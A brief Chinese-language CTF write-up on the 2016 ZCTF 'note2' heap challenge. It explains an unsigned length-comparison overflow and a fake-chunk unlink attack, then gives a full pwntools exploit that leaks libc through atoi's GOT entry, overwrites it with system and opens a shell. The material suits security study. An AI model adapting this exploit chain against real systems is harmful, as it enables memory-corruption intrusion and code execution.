2016 ZCTF note2–unlink
很久没打unlink了,上一次打unlink还是将近一年前,如此怠惰
温习了一下重命名,重新指定类型啥的ida操作(重新指定类型没用上:{)
溢出点:
其中 i 是 unsigned 类型,lenth 为 int 类型,所以两者在 for 循环相比较的时候,lenth -1 的结果会被视为 unsigned 类型
输入0也可以符合这个判断
unlink需要伪造堆块,保证fd->bk == p == bk->fd,同时,要保证下一个块的prev_size与伪造的堆块大小相符。
主要是为了复健,就不多描述了。
长知识:chunk0伪造的块,中间有chunk1,释放chunk2,也可以与chunk0去合并。
从管理的index_of_chunk来看,1被free掉后重新创建占据了3的位置。
伪造堆块这两种都可以
payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)
第一个是自己手动填了后一个的pre_size是0x60
第二个直接算出来到chunk2的pre_size的长度。
delete之后number没有–,所以一直在往下占用index_of_chunk。
写的十分简略,只记录了我在复健的问题,详细可以参考ctfwiki
这个堆管理是一直往下加,如2被free掉后,这个位置就不会再有东西了。
于是好奇的回头看babyheap的管理方法,它会重复使用。
辛辛苦苦找到了管理的地方:
1.第一个,1表示有堆了,0表示没有
2.第二个,记录了当时创建时选择的大小,我这里填的20,所以显示了0x14
3.第三个,记录了指向数据域的指针。
exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./note2')
#p=remote('node5.buuoj.cn',25695)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
index_of_chunk = 0x602120
fd = index_of_chunk - 0x18
bk = index_of_chunk - 0x10
atoi_got = 0x602088
sl(b"AA")
sl(b"BB")
def new(lenth,content):
ru("option")
sl(b'1')
ru('Input the length of the note content:(less than 128)\n')
sl(str(lenth))
ru('content')
sl(content)
def show(index):
ru('option')
sl(b"2")
rl()
sl(str(index))
def dele(index):
ru('option')
sl(b'4')
rl()
sl(str(index))
def edit(index,content):
ru('option')
sl(b'3')
rl()
sl(str(index))
rl()
sl(b'1')
rl()
sl(content)
#debug()
'''
#test of def
new(0x10,b"AAAAAAA")
edit(0,b'BBBB')
show(0)
dele(0)
'''
payload1 = b"A"*8 + p64(0x61) + p64(fd) + p64(bk) + b"b"*0x40 +p64(0x60)
#payload1 = b'A'*8+ p64(0xa1) + p64(fd) +p64(bk)
new(0x80,payload1)#0
new(0,b"AA")#1
new(0x80,b"AA")#2
#debug()
dele(1)
payload = b"A"*0x10 + p64(0xa0) + p64(0x90)
new(0,payload)
#debug()
dele(2)
edit(0,b"A"*(0x18)+p64(atoi_got)*4)
show(0)
#debug()
atoi_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
#libc = ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
libc_base = atoi_addr - libc.sym['atoi']
print(hex(libc_base))
one_gadget = libc_base + 0xf02a4
system_addr = libc_base + libc.sym['system']
edit(0,p64(system_addr))
sl(b'/bin/sh')
p.interactive()